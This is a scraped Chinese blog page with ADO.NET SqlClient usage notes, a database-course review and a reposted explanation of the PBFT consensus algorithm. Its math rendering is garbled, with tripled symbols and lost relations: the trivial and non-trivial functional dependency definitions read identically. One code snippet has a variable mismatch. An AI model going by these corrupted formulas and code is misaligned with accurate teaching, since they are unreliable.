    System.Data.SqlClient中用于数据库访问和操作的主要类(Connection, Command, DataReader, DataSet)的使用方法

    Connection:
    String conString=''DataSource=.;DataBase=shujuku;User ID=xx;Pwd=123;/Integrated Security=True;'';SqlConnection conn=new SqlConnection(conString);conn.Open();...;conn.Close();
    Command:
    SqlCommand comm=new SqlCommand(''sql语句'',conn);comm.ExecuteNonQuery();执行增删改语句,返回受影响行数ExecuteReader返回DataReader对象ExecuteScalar执行查询并返回查询结果的第一列第一行
    DataReader://抽象类
    SqlDataReader dr=Command comm.ExecuteReader();while(dr.Read()){(数据类型)dr[索引或列名]//读取某列数据}dr.Close();
    DataSet:
    conn=new SqlConnection(conString);DataSet ds=new DataSet();SqlDataAdapter ad=new SqlDataAdapter("sql语句",conn);da.Fill/Update(ds);dataGridView1.DataSource=ds.Tables[0];

    0 留言 2020-08-11 10:37:35 奖励12点积分
  • 数据库复习要点(数据库知识点总汇)

    一、绪论1.1 概念
    数据:描述事物的符号记录称为数据。数据的种类有数字、文字、图形、图像、声音、正文等。数据与其语义是不可分的
    数据库:数据库是长期储存在计算机内的、有组织的、可共享的数据集合。数据库中的数据按一定的数据模型组织、描述和储存,具有较小的冗余度、较高的数据独立性和易扩展性,并可为各种用户共享
    数据库管理系统:数据库管理系统是位于用户与操作系统之间的一层数据管理软件,用于科学地组织和存储数据、高效地获取和维护数据。DBMS 的主要功能包括数据定义功能、操纵、组织、存储功能、数据库的事务管理、运行管理功能、数据库的建立和维护功能
    数据库系统:数据库系统是指在计算机系统中引入数据库后的系统构成,一般由数据库、数据库管理系统(及其开发工具)、应用系统、数据库管理员构成

    1.2 数据库发展三阶段及特性
    人工管理阶段:数据不保存、应用程序管理数据、数据不共享也不具有独立性
    文件系统阶段:数据可以长期保存、由文件系统管理数据、数据共享性差、冗余度大、独立性差
    数据库系统阶段:数据结构化、共享性好,冗余度低,易扩充、独立性(物理独立性和逻辑独立性)高、由DBMS统一控制管理

    1.3 数据模型现实世界中数据特征的抽象,包括数据结构(二维表/树/网状结构)、数据操作(操作集合)和数据的约束条件(符合实体/参照/自定义完整性)。概念模型、逻辑模型、物理模型。

    实体:客观存在并可以相互区别的事物,可以是具体对象或抽象事件
    属性:实体所具有的的某一特性
    码/键:唯一标识实体的属性集
    域:属性的取值范围
    实体型:某一实体属性的集合
    实体集:性质相同的同类实体的集合
    联系:实体内部的联系及实体之间的联系

    1.4 逻辑模型
    层次模型:有且只有一个结点(根)没有双亲,根以外的其它结点有且只有一个双亲;约束条件:增:如果没有相应的双亲结点值就不能插入子女结点值;删:如果删除双亲结点值,相应的子女结点也被同时删除;改:要修改所有相应记录保证数据一致性
    网状模型:允许一个以上的结点没有双亲;一个结点可以有多于一个的双亲
    关系模型:一张规范化的二维表;支持记录码:唯一标识记录的数据项的集合;保证一个联系中双亲记录和子女记录之间是一对多的联系;可以支持双亲记录和子女记录之间某些约束条件

    物理独立性:当DB的存储结构改变时,由DBA对各个模式/内模式的映象作相应改变,可使模式保持不变,从而应用程序不必修改,保证了数据和程序的物理独立性。
    逻辑独立性:当模式改变时,由数据库管理员对各个外模式/模式的映象作相应改变,可使外模式保持不变。应用程序是根据外模式编写的,从而应用程序不用作出修改,保证了数据和程序的逻辑独立性。
    1.5 思考题
    数据库阶段的数据管理有哪些特点?(2)
    数据独立性和物理独立性在数据库中如何体现?(7)
    DBMS有哪些功能?定义、组织、存储、管理、操纵数据,DB的事务、运行管理,建立和维护
    数据模型的作用及构成要素是什么?(3)
    DBS的用户有哪几类,如何区分?偶然(不常访问需不同信息)、简单(查询更新)、复杂(直接用数据库语言访问数据库)
    DB的三级模式结构描述了什么问题?DB的三级模式结构是指数据库系统是由外模式、模式、内模式三级构成,是数据的三个抽象级别,把数据的具体组织留给DBMS管理。模式也称逻辑模式,是数据库中全体数据的逻辑结构和特征的描述,是所有用户的公共数据视图;外模式也称子模式或用户模式,是数据库用户能看见和使用的局部数据的逻辑结构和特征的描述,是数据库用户的数据视图,是与某一应用相关的数据的逻辑表示;内模式也称存储模式,是数据物理结构和存储方式的描述,是数据在数据库内部的组织方式。
    DBS由哪几部分组成?硬件平台及DB、软件(DBMS,应用系统…)、人员(数据库管理员、用户…)

    二、关系数据库
    域:一组具有相同数据类型的值(基数)的集合,在关系中用域来表示属性的取值范围
    笛卡尔积:对两个关系R和S进行乘操作,产生的关系元组个数为两个关系中元组个数之积
    候选码:关系中的某一属性组的值能唯一标识一个元组而其子集不能,该属性组为候选码
    主码:一个关系有多个候选码(能唯一标识一个元组而其子集不能的属性组),则选定其中的一个为主码
    主属性:主码的诸属性
    非码属性:不包含在任何候选码中的属性
    全码:关系模式的所有属性是这个关系模式的候选码
    外部码:关系R的某一属性组X不是R的码,但是其他某一关系的码

    实体完整性:一个基本关系上的主属性不能取空值。
    参照完整性:一个关系R中的每个元组在他的外码上的取值要么取空值要么等于另一个关系S(关系R的外码对应关系S中的主码)中的某个元组的主码值。

    等值连接
    自然连接:去除重复的列

    思考题
    关系中的元组为什么没有先后顺序 ?关系是一个元组的集合,元组在集合中的顺序不重要
    关系与普通的表格、文件有什么区别 ?关系是一张规范化的二维表格,在关系模式中对关系有规范性限制:关系中的每一个属性值都不可分解,不允许出现相同的元组,没有行序,属性无序但使用时要考虑列的顺序。
    广义笛卡尔积、等值连接、自然连接三者区别?笛卡尔积对两个关系R和S进行乘操作,产生的关系元组个数为两个关系中元组个数之积;等值连接是在笛卡尔积的结果上进行选择操作,从R和S的笛卡尔积中选择对应属性值相等的元组;自然连接是在等值连接上进行投影操作,并去掉重复的公共属性列。当两个关系没有公共属性时,自然连接就转化为笛卡尔积。

    三、关系数据库标准语言SQL、数据库安全性、数据库完整性
    查询 WHERE GROUP BY HAVING LIKE ODER BY 集函数…
    相关子查询… IN EXISTS?

    思考题
    SQL语言有何特点?综合统一、高度非过程化、面向集合的操作方式、以同一种语法结构提供多种使用方式、语言简洁,易学易用
    SQL的定义功能是什么? 模式定义、表定义、视图和索引的定义
    基本表和视图的区别和联系是什么? 视图是从一个或几个基本表(或视图)导出的虚表
    视图有何优点?简洁用户的操作、使用户能以多种角度看待同一数据、对重构数据库提供了一定程度的逻辑性、安全保护机密数据、清晰表达查询
    所有视图是否都可更新?为什么?请举例说明。不是 视图由两个以上基本表导出、字段来自字段表达式或常数、字段来自聚集函数、定义中含GROUP BY、DISTINCT、嵌套查询且内层查询FROM中的表也是导出该表的基本表,一个不允许更新的视图上定义的视图,都不允许更新
    连接查询和嵌套查询的特征分别是什么?一个查询同时涉及两个以上的表;将一个查询块嵌套在另一个查询块的WHERE子句或HAVING短语的条件中的查询

    四、规范化
    函数依赖(简答):对一个属性集上的关系模式的任意一个关系,其中不可能存在两个元组在X函数上的属性值相等但在Y函数上的属性值不等的情况,则称X函数确定Y或Y函数依赖于X,记作X→Y。
    不平凡函数依赖:X→Y,Y⊆X
    平凡函数依赖:X→Y,Y⊆X 如:(学号,课程)→学号
    完全函数依赖F:X→Y,真子集X’Y 如:(学生,课程)→成绩
    部分函数依赖P:X→Y且Y不完全依赖于X
    传递函数依赖:Y对X不平凡函数依赖,YX,Y→Z 如:(学生、宿舍、面积)

    给出模式及其语义,写出函数依赖(部分/完全/传递)码:一个关系模式的属性或属性集完全函数依赖于K,则K为此关系模式的候选码,若有多个则选一个做主码;不可能出现两个元组在码上的值相同在其他值不同
    给出关系模式和函数依赖,判断第几范式
    R∈1NF:一个关系模式R的所有属性都是不可分的基本数据项
    (无非主对码的部分…)R∈2NF:关系模式R∈1NF,并且每一个非主属性都完全函数依赖于R的码 每一个非主属性完全函数依赖于任一个候选码
    (无非主对码的传递…)R∈3NF:关系模式R<U,F> 中若不存在这样的码X、属性组Y及非主属性Z(Z  Y), 使得X→Y,(Y→X)Y→Z成立,则称R<U,F>∈3NF
    (无主对码的部分和传递…)R∈BCNF:设关系模式R<U,F>∈1NF,若X→Y且YX时X必含有码,则R<U,F>∈BCNF 每一个决定因素都包含码
    多值依赖X→→Y:一对(x,z)值,有一组Y的值,这组值仅仅决定于x值而与z值无关
    (限制关系模式间无非平凡且非函数依赖的多值依赖)R∈4NF:关系模式R<U,F>∈1NF,如果对于R的每个非平凡多值依赖X→→Y(Y  X),X都含有码,则称R<U,F>∈4NF

    五、数据库设计
    (大题)给出数据库要求,画出E-R图,转换为模式(需求分析、概念结构设计、逻辑结构设计)
    数据字典:数据项(不可再分的数据单位)、数据结构(反应数据之间组合关系)、数据流(数据结构在系统内传输的路径)、数据存储(数据结构停留和保存的地方,数据流的来源和去向之一)、处理过程(描述处理过程的说明性信息)的含义,写出某个应用系统的数据字典

    思考题
    数据库的生命周期分为哪几个阶段?6 需求分析 概念结构设计、逻辑结构设计、物理结构设计、数据库实施、数据库运行和维护
    数据库结构设计在生命周期中的地位如何?
    数据库概念设计的重要性和设计步骤。将需求分析阶段的数据分类组织,确定实体、实体的属性、实体之间的联系模型,画E-R图。
    数据库逻辑设计的重要性和设计步骤。把概念结构设计阶段的E-R图转换为与DBMS支持的数据模型相符的逻辑结构
    数据库物理设计的重要性和设计步骤为一个给定的逻辑数据模型选取一个最适合应用要求的物理结构。1确定数据库物理结构2对物理结构进行评价
    最后一道大题 习题(学校/零件)某学校有若干系,每个系有若干学生,若干课程,每个学生只在一个系学习,同一门课只在一个系开设,某个学生选修了若干课程,每门课有若干学生选修。其中,学校包括属性:学校代码、学校名称、学校地址;系包括属性:系名、系代号、系主任名和电话;学生包括属性:学号、姓名、年龄、性别、所在系代号;课程包含属性:课程号、课程名;学生上课后有一个成绩。今要建立该学生选修课程的数据库,请你设计:关于此学校数据库的E-R图,并把该E-R图转换为关系模型,并标识出每个关系模式的主码。

    六、数据库恢复技术事务:用户定义的一个数据库操作序列,要么全做要么不做,是一个不可分割的工作单位ACID原子性(事务是数据库的逻辑工作单位)、一致性(事务执行的结果必须是数据库从一个一致性状态变到另一个一致性状态)、隔离性(一个事务的执行不能被其他事务干扰)、持续性(一个事务一旦提交他对数据库中数据的改变就应该是永久性的)
    三种故障和恢复
    事物内部的故障(事务在运行过程中未运行至正常终止点就夭折了):撤销事务UNDO、强行回滚该事务ROLLBACK、清除该事务对数据库的所有修改
    系统故障(正常运行被破坏、正在运行的事务非正常终止、内存数据库缓冲区的信息全丢失、外部存储设备上的数据没受影响):重启时恢复程序要强行撤销所有未完成事务UNDO、重做所有已提交的事务REDO
    介质故障(硬件故障使存储在外存中的数据丢失):数据转储

    静态转储:在系统无运行事务时进行转储,转储开始时一致性,转储期间不允许对数据库的任何存取、修改活动 简单但降低可用性
    动态转储:与事务并发进行,转储期间允许对数据库存取或修改不能保证副本中的数据正确有效和登录日志文件(后两种故障时用到)
    思考题
    什么是事务?事务有哪些重要属性 ?(1)
    什么是数据库的恢复 ?
    什么是数据库中数据的一致性?
    为什么事务的非正常结束会影响数据库数据的一致性?试举例说明。事务执行的结果必须是使数据库从一个一致性状态变到另一个一致性状态。如果数据库系统运行中发生故障,有些事务尚未完成就被迫中断,这些未完成事务对数据库所做的修改有一部分已写入物理数据库,这时数据库就处于一种不正确的状态,或者说是不一致性状态。例如,某工厂的库存管理系统中,要把数量为Q的某种零件从仓库1移到仓库2存放,则可以定义一个事务T。T包括两个操作:Q1=Q1-Q,Q2=Q2+Q。如果T非正常终止时只做了第一个操作,则数据库就处于不一致性状态,库存量无缘无故少了Q。
    数据库恢复的基本原理是什么?冗余
    数据库恢复的基本技术有哪些?数据转储和登录日志文件

    七、并发控制
    丢失修改:事务1、2读入同一数据并修改,2的提交结果破坏了1提交的结果,导致1的修改被丢失
    不可重复读:指1读取数据后,2执行更新操作,使1无法再现前一次读取结果
    脏数据:1修改某一数据,并将其写回磁盘;2读取同一数据后;1由于某种原因被撤消,这时事务1已修改过的数据恢复原值;事务2读到的数据就与数据库中的数据不一致,是不正确的数据

    思考题
    什么是事务的并发操作,有哪几种类型 ?事务的并行执行 2交叉并发和同时并发
    并发操作会带来哪几种问题,这些问题的特征和根由是什么?破坏I、C +(1)
    什么是封锁?基本的封锁类型有几种?事务T在对某个数据对象(例如表、记录等)操作之前,先向系统发出请求,对其加锁。加锁后事务T就对该数据对象有了一定的控制,在事务T释放它的锁之前,其它的事务不能更新此数据对象。 2 排它锁X、共享锁S
    数据库恢复的基本原理是什么?冗余。数据库中任何一部分被破坏或不正确的数据可以根据存储在系统别处的冗余数据来重建。
    数据库恢复的基本技术有哪些?数据转储和登录日志文件是数据库恢复的基本技术。当系统运行过程中发生故障,利用转储的数据库后备副本和日志文件就可以将数据库恢复到故障前的某个一致性状态。
    为什么要引进意向锁?意向锁的含义是什么?为提高封锁子系统的效率。该封锁子系统支持多种封锁粒度。原因是:在多粒度封锁方法中一个数据对象可能以两种方式加锁——显式封锁和隐式封锁。因此系统在对某一数据对象加锁时不仅要检查该数据对象上有无(显式和隐式)封锁与之冲突,还要检查其所有上级结点和所有下级结点,看申请的封锁是否与这些结点上的(显式和隐式)封锁冲突,显然,这样的检查方法效率很低。为此引进了意向锁。含义:对任一结点加锁时,必须先对它的上层结点加意向锁。例如事务T要对某个元组加X锁,则首先要对关系和数据库加ix锁。对关系和数据库加ix 锁,表示它的后裔结点——某个元组拟(意向)加X锁。引进意向锁后,系统对某一数据对象加锁时不必逐个检查与下一级结点的封锁冲突了。例如,事务T要对关系R加X锁时,系统只要检查根结点数据库和R本身是否己加了不相容的锁(如发现已经加了ix,则与x冲突),而不再需要搜索和检查R中的每一个元组是否加了X锁或S锁。
    0 留言 2020-08-11 10:37:21 奖励16点积分
  • 共识算法:实用拜占庭容错算法(PBFT)


    本文原作为:fatcat22,如需转载请注明来源。原文地址:https://yangzhe.me/2019/11/25/pbft/

    最近在学习区块链方面的知识,看到这篇博文讲得很好,故转载分享!
    引言在之前的文章中,我们介绍了什么是「拜占庭将军问题」,也了解了原论文中的解决方案。但那些方案只是理论上的解决办法,若真的在现实中使用就会有各种各样的问题。因此在那之后,又提出了一些可在真实生产环境中使用的解决拜占庭将军问题的方法,本文将要介绍的「实用拜占庭容错算法」(Practical Byzantine Fault Tolerance, 简称 PBFT)就是其中一种。
    从名称上就可以看出,PBFT 就是冲着可在实际应用中使用而发明的。这篇文章里,我们将详细了解一下 PBFT 算法的相关细节。文章中的多数讨论来自于原始论文,不过这篇文章写得也很不错,给了我一些启发。
    系统模型在介绍 PBFT 的算法步骤之前,我们先了解一下使用 PBFT 算法的分布式系统的概念,和算法对系统的一些要求。

    首先,PBFT 对系统内的结点数量是有要求的。与拜占庭将军问题类似,PBFT 要求系统内的结点数量 nnn 不小于 3f+13f+13f+1,其中 fff 为「恶意结点」的数量。这里的「恶意结点」可以是故意作恶的结点,也可以是被攻击被控制的结点,甚至是失去响应的结点,总之只要是不正常的,都可以认为是恶意的。
    其次,PBFT 将系统内的每个结点分成了两类:主结点和从结点。任一时刻内,只有一个主结点,其它结点都是从结点。但主结点是可以被更换的(更换主结点被称为「域转换」(View Change))。无论是主结点还是从结点,他们都使用状态机机制记录自己的操作。如果各结点的操作是一致的,那么它们的状态机的状态会一直保持一致。
    再次,向 PBFT 系统发送请求的端叫做「客户端」。当某个客户端想要向系统发送请求时,一般情况下,它会将请求发给当前的主结点;非一般情况下,它会将请求广播给所有结点。无论哪种情况,客户端都直接从各个结点(包括主结点)接收请求返回的数据。
    第四,在论文中,作者假设客户端等待上一个请求完成以后,才会发送下一个请求。也就是说主结点和从结点们在某一时刻只会处理一个请求。这是一种同步发送请求的方式。如果客户端不等上一个请求返回就再次发送请求(即异步发送请求),那么请求的响应顺序可能不会是客户端发送的顺序。
    第五,PBFT 中有一个「域」( view )的概念(一般翻译成「视图」,但我觉得「视图」这个词并不能表达原术语的意思,所以我大胆将它翻译成「域」)。某个结点担任主结点的过程,就是一个域。如果担任主结点的结点发生了变化,就是发生了「域转换」(View Change)。域是有编号的,每发生一次域转换,域编号就递增一次。如果将每个结点从 0 开始编号,那么我们可以通过算式 i=v mod ∣R∣i=v \space mod \space |R|i=v mod ∣R∣得到当前主结点的编号 iii:其中 vvv 为当前的域编号, ∣R∣|R|∣R∣ 为结点数量。(如果把「域」比作「朝代」,可能会比较好理解一些:一个结点开始担任主结点,表示一个朝代的开始;主结点发生变更时,表示一个朝代的变更,朝代号就是加 1)
    最后,PBFT 中各结点通信信息是经过签名的。也就是说,任何一个结点都无法修改别的结点发送的消息,只能原封不动的拷贝、转发或存储。所以可以想象一下, PBFT 算法与介绍拜占庭将军问题的文章中的 SMSMSM 算法应该是有相同的地方的。

    以上就是 PBFT 系统模型的要点。看完这些你可能似懂非懂,心中有很多疑问题。比如为什么需要 3f+13f+13f+1 个结点?域到底起什么作用?这些问题我们会在后面作解答。这里只需了解这些概念和限制,相信在后面理解算法的过程中,很多问题自然就会消散了。

    在这里谈下我自己的理解:为什么n>3f?(n是节点总数,f是恶意节点)
    我们要在收到n-f条消息的时候,就必须做出决定,因为若有f个节点可以不发消息,这时节点最多能接收到n-f条消息。所以,我们必须要在接收到n-f条消息时做出决定。
    当在通信网络中,节点接收到n-f条消息时,最坏的情况是未接收到的消息都是诚实节点发的,而接收到的消息中有f条消息正好是恶意节点发的,那么这时要想做出少数服从多数的正确决定,诚实节点消息必须多于恶意节点消息:(n-f)-f>f。

    如果我来发明这个算法…我发现很多「高大上」的东西,其底层的逻辑通常都很朴素,并没有复杂到像我这样的普通人永远也想不出来的程度。所以我很喜欢在理解了某问题的解决方法以后,再假设我不知道这个方法但仍然遇到了问题,然后把解决方法「自己想出来」。所以这里我决定在文章里来这么一次。
    前面我们已经给了应用 PBFT 的系统的一些概念和限制了,总结一下就是:正常情况下,客户端发送请求给主节点,然后等待各个从节点返回数据。而我们要做的是,保证多数节点(无论是主结点还是从结点)返回一致的数据给客户端。
    OK,现在就让我们来想象一下这个过程。现在客户端发送数据给主结点了,主结点该怎么办呢?它不但要自己响应这一请求,还要把这一请求发送给所有从结点,让所有从结点进行响应。所以这里主结点做了两件事:

    一是自己响应客户端的请求
    二是将客户端的请求转发给所有从节点

    现在每个从结点都收到了主结点转发的请求,那么从结点们应该开始响应这个请求吗?注意这是一个无法信任某个人的世界,所以从结点们不知道主结点是不是可信,它们不会直接执行收到的请求的。那从结点们该怎么办呢?
    答案就是「少数服从多数」:如果从结点可以确定其它大多数从结点收到的请求与自己收到的请求是一样的,那么就可以响应这个请求。所以从结点们一边将自己收到的请求广播给其它从结点,一边收取并记录其它从结点广播过来的请求。当某个从结点收集到了足够多的从结点广播的请求,并且这些请求与自己从主结点那里收到的一致,它就认为主结点是可信的、这个请求是可以响应的。(这一过程与拜占庭将军问题的论文中的 SMSMSM 算法很像,具体可参考之前的文章)。
    现在收集到足够多的从结点可以确定主结点是可信的,那么它是否可以立即执行这个请求呢(在 SMSMSM 算法中确实是立即执行的)?答案是不可以。虽然某个从结点确认了请求是可以响应的,但它并不能确定别的从结点也确认了。所以如果此时立即执行请求,我们并不能保证结点间的状态一致。举个例子,比如可能有某个从结点由于暂时的网络问题,只能向外广播消息,却收不到其它结点的消息。因此这个结点就收不到足够多的其它从结点广播的请求,因而也不会认为这个请求是可以响应的。最终的结果是有的结点响应了这个请求,有的没有响应,无法保证结点间的状态是一致的。
    那怎么办呢?既然无法确定别的结点是否确认了这个消息是可响应的,那就确定一下呗。所以从结点需要多做一步,从结点此时并不马上响应请求,而是给所有其它结点广播一条消息:「我认可了某某请求」。然后它开始等待其它从结点的同样的消息。如果某从结点发现大多数结点都发出了这样一条消息,它就确定大多数结点认可这一请求是可以响应的(而不像刚才那样只知道自己认可是可响应的,别人是否认可它不知道)。所以现在它可以愉快的执行并响应这一请求。如果所有正常的结点都这样做,那么所有正常的结点都知道自己可以响应这一请求,也知道其他多数结点也同意响应这个请求,那么最后大多结点的状态在响应完这个请求后,仍然是一致的。
    稍微总结一下这一过程,你会发现各结点先是做了两步:

    第一步是广播「认可当前请求」的消息、并从其它结点那接收同样的消息
    第二步是广播「我认可了某某请求」的消息、并从其它结点那接收同样的消息。然后当接收到多数结点发送的「我认可了某某请求」消息时,才真正执行和响应请求

    这就是我能想像出来的保证多数结点状态一致的过程,也是白话版的 PBFT 算法的主要过程。当然刚才描述的这个过程仍有不少问题需要解决(比如当前主结点是恶意的怎么办?再比如即使收到了大多数结点发送的「我认可了某某请求」,但因为一些原因仍未执行请求怎么办?),但主要的流程就是刚才描述的那样,其它问题只不过是对一些异常状态的处理而已。
    其实各结点「两步走」的想法,和建立 TCP 连接的「三次握手」是非常相似的:虽然我能确定对方是正常的,但我确定不了对方对我的看法(对方是否认为我是正常的),所以只得再增加一步,以完成这一确定。
    说完了我自己的朴素的 PBFT 的逻辑,下面我们就来看看真正的 PBFT 是什么样子的。
    PBFT 算法下面我们就来看看真正的 PBFT 算法是什么样子的。我们首先了解一下在正常情况下,PBFT 是如何执行的;然后介绍一下 检查点(checkpoint)的概念;最后学习一下异常发生时的域转换(View Changes)的逻辑,和主结点不响应这种异常情况的处理方法。(其实检查点不算是 PBFT 的一个重点的概念,并且也很好理解。但要想理解域转换,就需要先理解检查点的概)
    正常情况下的流程这一小节里我们来了解一下在正常情况下 PBFT 算法的流程。但在这之前,我们需要先介绍一下后面用到的一些符号的意义。

    首先,我们在文章的开头提到过,PBFT 系统中各结点的消息是经过签名的,所以在下面的描述中,我们使用 <m>σi<m>_{\sigma i}<m>​σi​​ 代表由结点 iii 签名的消息 mmm;使用 D(m)D(m)D(m) 或 ddd 代表消息 mmm 哈希。
    其次,前面也说过,在 PBFT 中每一个域都有一个编号,后面我们记为 vvv。当发生域转换时,vvv 会递增加 1。每个结点也有一个编号,一般记为 iii,结点的编号从 0 开始,直至结点总数 ∣R∣−1|R|-1∣R∣−1。所以我们可以使用 i=v mod ∣R∣i=v \space mod \space |R|i=v mod ∣R∣ 来计算当前哪个结点是主结点。

    PBFT 的核心是三个阶段:pre-prepare、prepare、commit。所以这里我们先单独介绍一下这三个阶段,然后再看一下整体的正常流程。
    PBFT 三阶段PBFT 的三个阶段按执行顺序是 pre-prepare 阶段、 prepare 阶段、 commit 阶段。pre-prepare 阶段起始于主结点收到客户端的请求以后。下面我们详细了解一下每个阶段的细节。小节的最后我们会放上原始论文中的示意图,在经过说明之后,这个示意图会更加容易明白。
    pre-prepare主结点收到客户端发送的请求之后,开始 pre-prepare 阶段。首先主结点ppp 为收到的请求分配一个序号,记为 nnn(nnn 必须未被分配给其它请求,且比最近一次的请求的序号大)。然后广播消息 <<PRE−PREPARE,v,n,d>σp,m> <<PRE-PREPARE,v,n,d>_{\sigma p},m><<PRE−PREPARE,v,n,d>​σp​​,m> 给所有从结点。其 mmm 为结点收到的客户端请求; vvv 代表当前的域编号(view number);nnn 为刚才分配给 mmm 的序号;ddd 为 mmm 的哈希值。
    注意这里的参与签名的 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息中,并不包含 mmm 本身。这是因为一方面 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息可能在域转换时还会被用到,而那时并不需要重新发送 mmm 本身;另一方面,将 mmm 与 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息分开,可以更方便针对某些情况做优化,比如在 mmm 较大时使用更好的方式发送 mmm 本身。
    当从结点收到 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息后,会对其进行验证,满足以下条件才会通过验证:

    mmm 的签名和 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息的签名都是正确的,且 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息中的 ddd 确是 mmm 的哈希
    从结点当前的域编号与 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息中的一致,都为 vvv
    从结点之前没收到过相同的 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息
    在 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息中的 nnn 在区间 [h, H] 内

    最后一条可以避免恶意的主结点滥用序号值,比如将序号值设置得非常大。我们在介绍 checkpoint 时会说明如何设置 hhh 和 HHH 的值。
    prepare如果某个从结点验证通过了某条 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息,那么它将进入 prepare 阶段,并广播消息 <PREPARE,v,n,d,i>σi <PREPARE,v,n,d, i>_{\sigma i}<PREPARE,v,n,d,i>​σi​​ 。(如果 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息验证不通过,就忽略它,什么也不做)
    在从结点发出 <PREPARE><PREPARE><PREPARE> 消息的同时,它也会接收别人广播过来的 <PREPARE><PREPARE><PREPARE> 消息,并对其进行验证。满足以下条件才会通过验证:

    <PREPARE><PREPARE><PREPARE> 消息的签名是正确的
    从结点当前的域编号与 <PREPARE><PREPARE><PREPARE> 消息中的一致,都为 vvv
    在 <PREPARE><PREPARE><PREPARE> 消息中的 nnn 在区间 [h, H] 内

    这里我们需要定义一个函数 prepared(m,v,n,d,i)prepared(m,v,n,d,i)prepared(m,v,n,d,i):如果某结点 iii 验证通过了以下数据:

    mmm 本身
    关于 mmm 的 <PRE−PREPARE,v,n,d> <PRE-PREPARE,v,n,d> <PRE−PREPARE,v,n,d> 消息
    2f 条其它结点(不包含自己)发送过来的、与 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息相匹配的 <PREPARE><PREPARE><PREPARE> 消息(匹配的定义是,它们的vvv、nnn 以及 mmm 的哈希 ddd 是完全一样的)

    我们就定义 prepared(m,v,n,d,i)prepared(m,v,n,d,i)prepared(m,v,n,d,i) 的值为 truetruetrue,否则为falsefalsefalse。
    commit如果对于某个结点 iii ,prepared(m,v,n,d,i)prepared(m,v,n,d,i)prepared(m,v,n,d,i) 为 truetruetrue,那么这个结点将进入commit 阶段,并广播消息 <COMMIT,v,n,i>σi <COMMIT,v,n,i>_{\sigma i}<COMMIT,v,n,i>​σi​​ 。
    类似于 prepare 阶段,从结点发送 <COMMIT><COMMIT><COMMIT> 消息的同时,也会接收别的结点广播过来的 <COMMIT><COMMIT><COMMIT> 消息,并对其进行验证。满足以下条件才会通过验证:

    <COMMIT><COMMIT><COMMIT> 消息的签名是正确的
    从结点当前的域编号与 <COMMIT><COMMIT><COMMIT> 消息中的一致,都为 vvv
    在 <COMMIT><COMMIT><COMMIT> 消息中的 nnn 在区间 [h, H] 内

    类似于 prepare 阶段,我们这里也要定义一个函数 committed−local(m,v,n,d,i) committed-local(m,v,n,d,i) committed−local(m,v,n,d,i):如果某结点 iii 满足以下条件:

    要求 prepared(m,v,n,d,i) prepared(m,v,n,d,i) prepared(m,v,n,d,i) 的值为 truetruetrue
    验证通过了 2f 条其它结点(不包括自己)发送过来的、与 <PREPARE><PREPARE><PREPARE> 消息相匹配的 <COMMIT><COMMIT><COMMIT> 消息(匹配的定义是,它们的vvv、nnn 以及 mmm 的哈希 ddd 是完全一样的)

    我们就定义 committed−local(m,v,n,d,i) committed-local(m,v,n,d,i) committed−local(m,v,n,d,i) 为 truetruetrue,否则为 falsefalsefalse。
    如果某结点 iii 的 committed−local(m,v,n,d,i) committed-local(m,v,n,d,i) committed−local(m,v,n,d,i) 为 truetruetrue,那么它就可以响应请求 mmm、将结果更新到自己的状态机中、并返回结果给客户端了。
    下面就是原始论文中使用的三阶段的示意图,其中 0 是主结点,3号是恶意结点不对请求进行响应(我一开始看这个图是有些懵的,但明白了整个过程以后再看,就很清楚了):

    正常情况下的完整流程介绍完了最核心的三阶段,我们将其放在整个 PBFT 的流程中,看一下在不出意外的正常情况下,PBFT 的完整流程:

    客户端向主结点发起请求,记为 <REQUEST,o,t,c>σc <REQUEST,o,t,c>_{\sigma c} <REQUEST,o,t,c>​σc​​ 。其中 ooo 代表客户端请求的操作( operation );ttt 代表时间戳;ccc 为客户端自己的标识。这里通过 ttt 来保证同一请求只会被发送和处理一次:如果主结点收到两个完全一样的请求,它将丢弃重复的请求;如果同一操作需要先后执行两次,客户端应该先后构造两个请求,且这两个请求的时间戳是不一样的。
    主结点收到请求后,立即启动三阶段的共识过程,让所有从结点参与请求的处理。三阶段的共识过程就是我们前面介绍的 pre-prepare、prepare、commit。
    三阶段执行完成后,如果对于某一结点 iii, committed−local(m,v,n,d,i)committed-local(m,v,n,d,i)committed−local(m,v,n,d,i) 的值为 truetruetrue,则结点开始执行请求 mmm。执行成功后更改自己本地状态机的状态,并将结点直接返回给客户端。
    针对同一请求,如果客户端收到了 f+1 个相同的返回结果,那么它就把这个结点作为最终的结果。

    这就是 PBFT 在正常情况下的完整流程。
    在第 3 步中,你可能会有疑问,虽然对于结点 iii, committed−local(m,v,n,d,i)committed-local(m,v,n,d,i)committed−local(m,v,n,d,i) 为 truetruetrue,即结点 iii 确实可以响应 mmm 了,但结点 iii 如何确定其它结点的 committed−locallocalcommitted-locallocalcommitted−locallocal 为 truetruetrue 了呢?如果大多数其它结点的 committed−locallocalcommitted-locallocalcommitted−locallocal 不为 truetruetrue,它们就不会响应 mmm,那么结点 iii 的状态岂不是与其它结点的状态不一致了吗?
    确实,在第 3 步中,某个正常结点的 committed−locallocalcommitted-locallocalcommitted−locallocal 为 truetruetrue,并不真正代表其它所有正常结点的 committed−locallocalcommitted-locallocalcommitted−locallocal 都为 truetruetrue,但这其实是一种特殊情况,而不是正常情况。正常情况下,某结点发送了 <COMMIT><COMMIT><COMMIT> 消息且验证通过了 2f 条其它结点发送的 <COMMIT><COMMIT><COMMIT> 消息(因而它的 committed−locallocalcommitted-locallocalcommitted−locallocal 为 truetruetrue),其它正常结点应该也可以接收到 2f 条 <COMMIT><COMMIT><COMMIT> 消息、因而也可以达到 committed−locallocalcommitted-locallocalcommitted−locallocal 为 truetruetrue 的状态。
